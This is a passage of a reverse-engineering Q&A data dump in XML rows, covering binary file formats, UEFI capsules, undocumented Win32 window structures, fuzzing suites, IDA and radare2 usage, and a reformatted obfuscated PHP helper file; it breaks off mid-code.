  <row Id="21131" PostTypeId="1" AcceptedAnswerId="26433" CreationDate="2019-04-12T17:34:30.700" Score="1" ViewCount="539" Body="&lt;p&gt;I have here an unknown binary file which contains a graphical user interface.&#xA;The file has the ending .kzb and it comes from the Kanzi desinger.&#xA;Unfortunately the Kanzi desinger can no longer edit the extracted binary file. Apparently you can only change something if you have the original project.&#xA;The file contains pictures that I would like to change. &#xA;I know that it has to work, because someone has already done it, but doesn't want to reveal the secret :)&#xA;Here is the file I want to customize.&#xA;&lt;a href=&quot;https://drive.google.com/drive/folders/1Z-RCdVGJv_jkKHcL3o_saOZz8sluMMG1?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/drive/folders/1Z-RCdVGJv_jkKHcL3o_saOZz8sluMMG1?usp=sharing&lt;/a&gt;&#xA;In the file is a Chinese and an English flag (as .png) which I would like to change / swap.&lt;/p&gt;&#xA;" OwnerUserId="28060" LastActivityDate="2021-05-02T17:08:20.667" Title="Edit unknown binary file" Tags="|file-format|binary|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="21132" PostTypeId="2" ParentId="21130" CreationDate="2019-04-12T20:04:19.557" Score="2" Body="&lt;p&gt;It's not exactly an RE question but I'll try to answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, since the capsule is signed, it's very likely that any modification will invalidate the signature and the update process will refuse it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, extracting a raw image from the capsule may range from trivial (e.g. for ASUS capsules it's usually enough to just cut off the header) to pretty hard (e.g. Intel capsules have multiply nested compressed firmware volumes for each part of the flash chip that can be updated independently, and it's quite difficult to reconstruct the full image from them), and making again a valid capsule is even harder without the vendor-specific tools (and signing keys, obviously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the &lt;em&gt;general process&lt;/em&gt; of capsule update is described in the UEFI specification, the exact format and details are left to the vendor to implement. In general, there is usually a firmware module which is responsible for parsing &amp;amp; verifying the capsule and passing the data for flashing to the flashing component (usually an SMM module). You could try to find the code responsible for it and figure out how the capsule is laid out and try to restore the image but be prepared for a long road ahead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest going with the external flashing workflow, it's more reliable and easier to recover from.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-04-12T20:04:19.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21133" PostTypeId="1" CreationDate="2019-04-12T20:27:21.733" Score="3" ViewCount="250" Body="&lt;p&gt;I'm trying to reverse functionality of scrollbars in &lt;code&gt;comctrl32.dll&lt;/code&gt; and I keep witnessing them calling &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getwindowlongptrw&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GetWindowLongPtr&lt;/code&gt;&lt;/a&gt; function with undocumented index &lt;code&gt;-1&lt;/code&gt; as such:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nwKov.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nwKov.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what that function returns in that case?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2019-04-13T07:53:58.927" Title="GetWindowLongPtr with undocumented nIndex of -1" Tags="|windows|c|winapi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21134" PostTypeId="1" CreationDate="2019-04-13T05:36:17.263" Score="-2" ViewCount="107" Body="&lt;p&gt;my developer has changed all his contact info and i am unable to contact him&#xA;and i want to move my site to another server but because of this obfuscator code in my php script i am unable to move my site can any one please decode this php file&#xA;&lt;a href=&quot;https://pastebin.com/TQ1PD4x0&quot; rel=&quot;nofollow noreferrer&quot;&gt;obfuscator code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28141" LastActivityDate="2019-04-14T18:01:16.833" Title="Can any one de-obfuscator this php code" Tags="|decryption|anti-debugging|php|" AnswerCount="1" CommentCount="0" ClosedDate="2019-04-18T05:41:15.770" ContentLicense="CC BY-SA 4.0" />
  <row Id="21135" PostTypeId="2" ParentId="21133" CreationDate="2019-04-13T06:36:10.007" Score="5" Body="&lt;p&gt;I think I got it. &lt;code&gt;GetWindowLongPtr(hWnd, -1)&lt;/code&gt; returns a pointer to a nested &lt;code&gt;struct&lt;/code&gt; that is a part of the &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;WND&lt;/code&gt;&lt;/a&gt; struct (that contains main information about a window.) There's really no official name for it, but judging by this function name in &lt;code&gt;comctrl32&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jM77Q.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jM77Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd define it as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct WF{&#xA;    WF_STATE state;&#xA;    WF_STATE2 state2;&#xA;    DWORD ExStyles;     //With additional bits&#xA;    DWORD Styles;&#xA;    HMODULE hModule;&#xA;    USHORT reserved;&#xA;    USHORT fnid;        // ?&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WF* p_wf = (WF*)::GetWindowLongPtr(hWnd, -1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/state.htm&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;WF_STATE&lt;/code&gt;&lt;/a&gt; is a &lt;a href=&quot;https://doxygen.reactos.org/dd/d79/include_2ntuser_8h_source.html#l00572&quot; rel=&quot;noreferrer&quot;&gt;bitfield&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enum WF_STATE{&#xA;    WNDS_HASMENU                 = 0x00000001,&#xA;    WNDS_HASVERTICALSCROOLLBAR   = 0x00000002,&#xA;    WNDS_HASHORIZONTALSCROLLBAR  = 0x00000004,&#xA;    WNDS_HASCAPTION              = 0x00000008,&#xA;    WNDS_SENDSIZEMOVEMSGS        = 0x00000010,&#xA;    WNDS_MSGBOX                  = 0x00000020,&#xA;    WNDS_ACTIVEFRAME             = 0x00000040,&#xA;    WNDS_HASSPB                  = 0x00000080,&#xA;    WNDS_NONCPAINT               = 0x00000100,&#xA;    WNDS_SENDERASEBACKGROUND     = 0x00000200,&#xA;    WNDS_ERASEBACKGROUND         = 0x00000400,&#xA;    WNDS_SENDNCPAINT             = 0x00000800,&#xA;    WNDS_INTERNALPAINT           = 0x00001000,&#xA;    WNDS_UPDATEDIRTY             = 0x00002000,&#xA;    WNDS_HIDDENPOPUP             = 0x00004000,&#xA;    WNDS_FORCEMENUDRAW           = 0x00008000,&#xA;    WNDS_DIALOGWINDOW            = 0x00010000,&#xA;    WNDS_HASCREATESTRUCTNAME     = 0x00020000,&#xA;    WNDS_SERVERSIDEWINDOWPROC    = 0x00040000,      //WndProc is in win32k.sys&#xA;    WNDS_ANSIWINDOWPROC          = 0x00080000,&#xA;    WNDS_BEINGACTIVATED          = 0x00100000,&#xA;    WNDS_HASPALETTE              = 0x00200000,&#xA;    WNDS_PAINTNOTPROCESSED       = 0x00400000,&#xA;    WNDS_SYNCPAINTPENDING        = 0x00800000,&#xA;    WNDS_RECEIVEDQUERYSUSPENDMSG = 0x01000000,&#xA;    WNDS_RECEIVEDSUSPENDMSG      = 0x02000000,&#xA;    WNDS_TOGGLETOPMOST           = 0x04000000,&#xA;    WNDS_REDRAWIFHUNG            = 0x08000000,&#xA;    WNDS_REDRAWFRAMEIFHUNG       = 0x10000000,&#xA;    WNDS_ANSICREATOR             = 0x20000000,&#xA;    WNDS_MAXIMIZESTOMONITOR      = 0x40000000,&#xA;    WNDS_DESTROYED               = 0x80000000,&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/state2.htm&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;WF_STATE2&lt;/code&gt;&lt;/a&gt; is another &lt;a href=&quot;https://doxygen.reactos.org/dd/d79/include_2ntuser_8h_source.html#l00608&quot; rel=&quot;noreferrer&quot;&gt;bitfield&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enum WF_STATE2{&#xA;    WNDS2_WMPAINTSENT               = 0x00000001,&#xA;    WNDS2_ENDPAINTINVALIDATE        = 0x00000002,&#xA;    WNDS2_STARTPAINT                = 0x00000004,&#xA;    WNDS2_OLDUI                     = 0x00000008,&#xA;    WNDS2_HASCLIENTEDGE             = 0x00000010,&#xA;    WNDS2_BOTTOMMOST                = 0x00000020,&#xA;    WNDS2_FULLSCREEN                = 0x00000040,&#xA;    WNDS2_INDESTROY                 = 0x00000080,&#xA;    WNDS2_WIN31COMPAT               = 0x00000100,&#xA;    WNDS2_WIN40COMPAT               = 0x00000200,&#xA;    WNDS2_WIN50COMPAT               = 0x00000400,&#xA;    WNDS2_MAXIMIZEDMONITORREGION    = 0x00000800,&#xA;    WNDS2_CLOSEBUTTONDOWN           = 0x00001000,&#xA;    WNDS2_MAXIMIZEBUTTONDOWN        = 0x00002000,&#xA;    WNDS2_MINIMIZEBUTTONDOWN        = 0x00004000,&#xA;    WNDS2_HELPBUTTONDOWN            = 0x00008000,&#xA;    WNDS2_SCROLLBARLINEUPBTNDOWN    = 0x00010000,&#xA;    WNDS2_SCROLLBARPAGEUPBTNDOWN    = 0x00020000,&#xA;    WNDS2_SCROLLBARPAGEDOWNBTNDOWN  = 0x00040000,&#xA;    WNDS2_SCROLLBARLINEDOWNBTNDOWN  = 0x00080000,&#xA;    WNDS2_ANYSCROLLBUTTONDOWN       = 0x00100000,&#xA;    WNDS2_SCROLLBARVERTICALTRACKING = 0x00200000,&#xA;    WNDS2_FORCENCPAINT              = 0x00400000,&#xA;    WNDS2_FORCEFULLNCPAINTCLIPRGN   = 0x00800000,&#xA;    WNDS2_FULLSCREENMODE            = 0x01000000,&#xA;    WNDS2_CAPTIONTEXTTRUNCATED      = 0x08000000,&#xA;    WNDS2_NOMINMAXANIMATERECTS      = 0x10000000,&#xA;    WNDS2_SMALLICONFROMWMQUERYDRAG  = 0x20000000,&#xA;    WNDS2_SHELLHOOKREGISTERED       = 0x40000000,&#xA;    WNDS2_WMCREATEMSGPROCESSED      = 0x80000000,&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/style.htm&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Styles&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/exstyle.htm&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;ExStyles&lt;/code&gt;&lt;/a&gt; members seem to closely resemble documented &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/winmsg/window-styles&quot; rel=&quot;noreferrer&quot;&gt;window styles&lt;/a&gt; (and &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/winmsg/extended-window-styles&quot; rel=&quot;noreferrer&quot;&gt;extended styles&lt;/a&gt;) but have their own undocumented bits as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;fnid&lt;/code&gt; might be &lt;a href=&quot;https://github.com/tinysec/public/blob/master/win32k/fnID.md&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;, but I could not verify it.&lt;/p&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="14864" LastEditDate="2019-04-13T07:53:58.927" LastActivityDate="2019-04-13T07:53:58.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21138" PostTypeId="1" CreationDate="2019-04-13T16:38:46.470" Score="-1" ViewCount="345" Body="&lt;p&gt;I have implemented a basic coverage guided fuzzer that is sending inputs to programs accepting ONE command line argument or ONE standard input. I am trying to find a complex code to fuzz that can meet my requirements:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Code should have &lt;strong&gt;atleast&lt;/strong&gt; 500 lines&lt;/li&gt;&#xA;&lt;li&gt;Code should be in only one C/C++ file&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have tried finding open source projects but they are not meeting my requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone knows how can I go about finding one please let me know OR if you are aware of such a code then also please let me know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I do not want to write my own buggy code. &lt;/p&gt;&#xA;" OwnerUserId="27008" LastActivityDate="2019-05-14T06:02:05.400" Title="Fuzz Test Suite for C/C++ Command Line Argument/Standard Input programs" Tags="|c++|c|fuzzing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21139" PostTypeId="2" ParentId="21138" CreationDate="2019-04-13T18:24:04.660" Score="1" Body="&lt;p&gt;This is not a question about reverse engineering, but you can use the &lt;a href=&quot;https://github.com/trailofbits/cb-multios&quot; rel=&quot;nofollow noreferrer&quot;&gt;DARPA Cyber Grand Challenge binaries&lt;/a&gt; that have been ported to Linux, Mac OS and Windows by the Trail of Bits team:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The DARPA Challenge Binaries (CBs) are custom-made programs specifically designed to contain vulnerabilities that represent a wide variety of crashing software flaws. They are more than simple test cases, they approximate real software with enough complexity to stress both manual and automated vulnerability discovery. The CBs come with extensive functionality tests, triggers for introduced bugs, patches, and performance monitoring tools, enabling benchmarking of patching tools and bug mitigation strategies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For more information, see their blog post  &lt;a href=&quot;https://blog.trailofbits.com/2016/08/01/your-tool-works-better-than-mine-prove-it/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Your tool works better than mine? Prove it.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this particular suite of binaries is not to your liking, I recommend reading the paper &lt;a href=&quot;https://arxiv.org/pdf/1812.00140.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Art, Science, and Engineering of Fuzzing: A Survey&lt;/a&gt;, which includes 240 references. If the paper does not discuss fuzzer benchmark suites, some of the cited papers surely will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional option is to examine &lt;a href=&quot;https://github.com/search?q=fuzzing&amp;amp;type=Repositories&quot; rel=&quot;nofollow noreferrer&quot;&gt;fuzzer-related repositories on github&lt;/a&gt; such as &lt;a href=&quot;https://github.com/google/fuzzer-test-suite&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google's fuzzer test suite&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no existing test suites meet your specific, particular requirements, then either a) change your requirements or b) create your own test suite.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-04-14T04:32:58.997" LastActivityDate="2019-04-14T04:32:58.997" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21140" PostTypeId="1" CreationDate="2019-04-14T06:21:52.717" Score="0" ViewCount="1918" Body="&lt;p&gt;Why do some command in IDA have red text highlight around them?&#xA;e.g.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ASHkA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ASHkA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25313" LastActivityDate="2019-10-28T13:01:15.113" Title="Red text Highlight in IDA Pro" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21143" PostTypeId="1" AcceptedAnswerId="21147" CreationDate="2019-04-14T09:22:56.853" Score="2" ViewCount="498" Body="&lt;p&gt;I have problem with my radare2, when I try to reopen file in debug mode (ood) my radare loses all informations about that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tMJzl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tMJzl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help to avoid this?&lt;/p&gt;&#xA;" OwnerUserId="25721" LastActivityDate="2019-04-14T18:01:45.447" Title="When reopening file lose all information in radare2" Tags="|radare2|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21144" PostTypeId="1" AcceptedAnswerId="21148" CreationDate="2019-04-14T14:09:05.750" Score="0" ViewCount="7511" Body="&lt;p&gt;I'm trying to RE Stardew Valley to write cheats for it. The problem is that when I trace the pointers for my health/energy/etc... back more than one level the game crashes. It probably has some kind of anti-debugging checks in it. I looked into it a little bit and apparently there's a bunch of things they can do to detect debuggers and exit - does anyone know of a good way to figure out what they're doing without just searching the binary in IDA? I could do that but it seems like a bit of a pain in the arse.&lt;/p&gt;&#xA;" OwnerUserId="22104" LastActivityDate="2019-04-14T18:08:03.940" Title="Bypassing anti-debugging" Tags="|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21146" PostTypeId="2" ParentId="21134" CreationDate="2019-04-14T18:01:16.833" Score="1" Body="&lt;p&gt;Every single variable name has been randomized. Unless he gives you the source without the randomized names, you'll have to rename every variable by yourself in your php files if you want to get something that's easily readable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best I can do for you is format it and fix some issues with text quotes to make it a little bit more readable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;${&quot;GLOBALS&quot;}[&quot;yqyebcv&quot;] = &quot;file_name&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;ypbgqag&quot;] = &quot;return&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;nsppyylnqkk&quot;] = &quot;link&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;njfqrtm&quot;] = &quot;dir&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;pdicsfrvpn&quot;] = &quot;use&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;esfuxfpwsnx&quot;] = &quot;file&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;nwisdeafetc&quot;] = &quot;location&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;rxsfphe&quot;] = &quot;add&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;ryjuqyuyytv&quot;] = &quot;type&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;jbdilpns&quot;] = &quot;t&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;qyjncgibsx&quot;] = &quot;round&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;sknxttw&quot;] = &quot;size&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;bvfnpllyxgs&quot;] = &quot;total&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;vsgjwjgohjuo&quot;] = &quot;sizes&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;mmbijie&quot;] = &quot;bklnk_i&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;jmjkcwrtoljb&quot;] = &quot;bklnk&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;rvkxbu&quot;] = &quot;i&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;zdvwmpshlpn&quot;] = &quot;parentsArray&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;tmjgwmr&quot;] = &quot;url&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;kiakpghmlj&quot;] = &quot;lower&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;dvawhj&quot;] = &quot;secure_root&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;] = &quot;f&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;otzvpmqy&quot;] = &quot;ext&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;itzvyk&quot;] = &quot;name&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;fjwzrfegv&quot;] = &quot;sitename&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;gcdrnalkkv&quot;] = &quot;table&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;lukjgrca&quot;] = &quot;result&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;nafdhnp&quot;] = &quot;id&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;ljsrydy&quot;] = &quot;c&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;kzugnpx&quot;] = &quot;return_msg&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;digfzfma&quot;] = &quot;limit&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;] = &quot;list&quot;;&#xA;${&quot;GLOBALS&quot;}[&quot;dfmnkulxo&quot;] = &quot;CI&quot;;&#xA;if (!defined(&quot;BASEPATH&quot;)) exit(&quot;No direct script access allowed&quot;);&#xA;if (!function_exists(&quot;list_categories&quot;)) {&#xA;    function list_categories()&#xA;    {&#xA;        ${&quot;GLOBALS&quot;}[&quot;skksnbv&quot;] = &quot;list&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;blxubymic&quot;] = &quot;list&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;skksnbv&quot;]} = array();&#xA;        $xbqxrncnji = &quot;list&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;dfmnkulxo&quot;]} = &amp;amp;get_instance();&#xA;        $CI-&amp;gt;db-&amp;gt;order_by(&quot;ord&quot;, &quot;DESC&quot;)-&amp;gt;order_by(&quot;id&quot;, &quot;DESC&quot;)-&amp;gt;where(&quot;status&quot;, &quot;A&quot;)-&amp;gt;where(&quot;child&quot;, &quot;N&quot;);&#xA;        ${$xbqxrncnji} = $CI-&amp;gt;db-&amp;gt;get(&quot;category&quot;)-&amp;gt;result();&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;blxubymic&quot;]};&#xA;    }&#xA;}&#xA;$eruyiys = &quot;secure_root&quot;;&#xA;${$eruyiys} = $_SERVER[&quot;DOCUMENT_ROOT&quot;];&#xA;if (!function_exists(&quot;list_updates&quot;)) {&#xA;    function list_updates($limit = 10)&#xA;    {&#xA;        ${&quot;GLOBALS&quot;}[&quot;qgqhjruw&quot;] = &quot;limit&quot;;&#xA;        $vjcxqhk = &quot;CI&quot;;&#xA;        $glxvvhyzmsiu = &quot;list&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]} = array();&#xA;        ${$vjcxqhk} = &amp;amp;get_instance();&#xA;        ${$glxvvhyzmsiu} = $CI-&amp;gt;db-&amp;gt;query(&quot;SELECT * FROM updates where status='A' ORDER BY id DESC LIMIT &quot; . intval(${${&quot;GLOBALS&quot;}[&quot;qgqhjruw&quot;]}))-&amp;gt;result();&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]};&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;list_featured&quot;)) {&#xA;    function list_featured($limit = 1)&#xA;    {&#xA;        ${&quot;GLOBALS&quot;}[&quot;hnhpfrx&quot;] = &quot;list&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]} = array();&#xA;        ${${&quot;GLOBALS&quot;}[&quot;dfmnkulxo&quot;]} = &amp;amp;get_instance();&#xA;        ${${&quot;GLOBALS&quot;}[&quot;hnhpfrx&quot;]} = $CI-&amp;gt;db-&amp;gt;query(&quot;SELECT * FROM files where status='A' ORDER BY download,RAND() LIMIT &quot; . intval(${${&quot;GLOBALS&quot;}[&quot;digfzfma&quot;]}))-&amp;gt;result();&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]};&#xA;    }&#xA;}&#xA;${${&quot;GLOBALS&quot;}[&quot;kzugnpx&quot;]} = &quot;Contact Admin&quot;;&#xA;if (!function_exists(&quot;cat_type&quot;)) {&#xA;    function cat_type($id = '')&#xA;    {&#xA;        ${&quot;GLOBALS&quot;}[&quot;vsmrlcpd&quot;] = &quot;CI&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;ljsrydy&quot;]} = intval(${${&quot;GLOBALS&quot;}[&quot;nafdhnp&quot;]});&#xA;        ${${&quot;GLOBALS&quot;}[&quot;vsmrlcpd&quot;]} = &amp;amp;get_instance();&#xA;        $CI-&amp;gt;db-&amp;gt;where(&quot;status&quot;, &quot;A&quot;)-&amp;gt;where(&quot;category_id&quot;, ${${&quot;GLOBALS&quot;}[&quot;ljsrydy&quot;]});&#xA;        ${${&quot;GLOBALS&quot;}[&quot;lukjgrca&quot;]} = $CI-&amp;gt;db-&amp;gt;get(&quot;files&quot;)-&amp;gt;num_rows();&#xA;        return (${${&quot;GLOBALS&quot;}[&quot;lukjgrca&quot;]} == 0 ? &quot;categorylist&quot; : &quot;filelist&quot;);&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;get_info&quot;)) {&#xA;    function get_info($id, $table)&#xA;    {&#xA;        $ujxgciidjl = &quot;list&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;horwwuimlu&quot;] = &quot;id&quot;;&#xA;        if (!intval(${${&quot;GLOBALS&quot;}[&quot;nafdhnp&quot;]})) {&#xA;            return false;&#xA;        }&#xA;        ${$ujxgciidjl} = array();&#xA;        ${&quot;GLOBALS&quot;}[&quot;ydlpgty&quot;] = &quot;CI&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;ydlpgty&quot;]} = &amp;amp;get_instance();&#xA;        ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]} = $CI-&amp;gt;db-&amp;gt;query(&quot;SELECT * FROM &quot; . ${${&quot;GLOBALS&quot;}[&quot;gcdrnalkkv&quot;]} . &quot; where id='&quot; . intval(${${&quot;GLOBALS&quot;}[&quot;horwwuimlu&quot;]}) . &quot;' ORDER BY id DESC&quot;)-&amp;gt;result();&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;xytqykr&quot;]}[0];&#xA;    }&#xA;}&#xA;if (!function_exists(&quot;seo_name&quot;)) {&#xA;    function seo_name($name, $ext, $sitename = '')&#xA;    {&#xA;        $whufdxlxuk = &quot;f&quot;;&#xA;        ${&quot;GLOBALS&quot;}[&quot;ewlqmgjts&quot;] = &quot;f&quot;;&#xA;        ${$whufdxlxuk} = str_ireplace(${${&quot;GLOBALS&quot;}[&quot;fjwzrfegv&quot;]}, null, ${${&quot;GLOBALS&quot;}[&quot;itzvyk&quot;]});&#xA;        ${&quot;GLOBALS&quot;}[&quot;qbqyeadkml&quot;] = &quot;f&quot;;&#xA;        if (${${&quot;GLOBALS&quot;}[&quot;otzvpmqy&quot;]} != NULL) {&#xA;            $slpneqg = &quot;f&quot;;&#xA;            $srzgnrllcrh = &quot;f&quot;;&#xA;            ${$srzgnrllcrh} = str_ireplace(&quot;.&quot; . ${${&quot;GLOBALS&quot;}[&quot;otzvpmqy&quot;]}, null, ${$slpneqg});&#xA;        }&#xA;        $umbqttnpma = &quot;f&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;qbqyeadkml&quot;]} = str_replace(&quot;_&quot;, &quot; &quot;, ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]});&#xA;        ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]} = str_replace(&quot; &quot;, &quot; &quot;, ${${&quot;GLOBALS&quot;}[&quot;ewlqmgjts&quot;]});&#xA;        ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]} = str_replace(&quot;  &quot;, &quot; &quot;, ${$umbqttnpma});&#xA;        return ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]};&#xA;    }&#xA;}&#xA;if (${${&quot;GLOBALS&quot;}[&quot;dvawhj&quot;]} != &quot;/home/asomi/public_html&quot;) {&#xA;    $ukcmqyoeta = &quot;return_msg&quot;;&#xA;    die(${$ukcmqyoeta});&#xA;}&#xA;if (!function_exists(&quot;seo_url&quot;)) {&#xA;    function seo_url($name, $ext, $sitename = '', $lower = false)&#xA;    {&#xA;        $klvkiu = &quot;ext&quot;;&#xA;        $fwddgvaroft = &quot;f&quot;;&#xA;        ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]} = str_ireplace(${${&quot;GLOBALS&quot;}[&quot;fjwzrfegv&quot;]}, null, ${${&quot;GLOBALS&quot;}[&quot;itzvyk&quot;]});&#xA;        if (${$klvkiu} != NULL) {&#xA;            $fklszts = &quot;f&quot;;&#xA;            ${$fklszts} = str_ireplace(&quot;.&quot; . ${${&quot;GLOBALS&quot;}[&quot;otzvpmqy&quot;]}, null, ${${&quot;GLOBALS&quot;}[&quot;wgzhjucrj&quot;]});&#xA;        }&#xA;        